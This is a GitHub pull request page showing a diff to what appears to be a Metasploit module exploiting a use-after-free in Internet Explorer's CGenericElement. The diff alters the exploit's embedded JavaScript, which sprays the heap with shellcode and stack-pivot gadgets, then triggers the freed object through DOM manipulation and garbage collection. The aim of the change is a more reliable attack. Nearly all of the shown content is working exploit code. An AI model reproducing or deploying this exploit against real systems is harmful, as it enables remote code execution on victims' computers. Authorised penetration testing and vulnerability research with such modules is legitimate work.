Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Modifies the exploit a little for better stability #1891

Merged
Merged
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
20 changes: 6 additions & 14 deletions modules/exploits/windows/browser/ie_cgenericelement_uaf.rb
Original file line number Diff line number Diff line change
Expand Up @@ -222,7 +222,6 @@ def load_exploit_html(my_target, cli)
<meta>
<?IMPORT namespace="t" implementation="#default#time2">
</meta>

<script>
#{js_mstime_malloc}

Expand All @@ -234,43 +233,36 @@ def load_exploit_html(my_target, cli)
}
sparkle += unescape("AB");
sparkle += unescape("#{js_payload}");

magenta = unescape("#{align_esp}");

for (i=0; i < 0x70/4; i++) {
if (i == 0x70/4-1) { magenta += unescape("#{xchg_esp}"); }
else { magenta += unescape("#{align_esp}"); }
}

magenta += sparkle;

document.body.contentEditable="true";
f0 = document.createElement('span');
document.body.appendChild(f0);
f1 = document.createElement('span');
document.body.appendChild(f1);
f2 = document.createElement('span');
document.body.appendChild(f0);
document.body.appendChild(f1);
document.body.appendChild(f2);
document.body.contentEditable="true";
for (i=0; i < 20; i++) { document.createElement("img"); }
f2.appendChild(document.createElement('datalist'));
f1.appendChild(document.createElement('span'));
CollectGarbage();
f1.appendChild(document.createElement('table'));

try { f0.offsetParent=null;}
catch(e) { }

f2.innerHTML = "";
f0.appendChild(document.createElement('hr'));
f1.innerHTML = "";

CollectGarbage();
f0.appendChild(document.createElement('hr'));
mstime_malloc({shellcode:magenta, heapBlockSize:0x38, objId:"myanim"});
}

</script>
</head>
<body onload="eval(helloWorld());">
<t:ANIMATECOLOR id="myanim"/>

</body>
</html>
|
Expand Down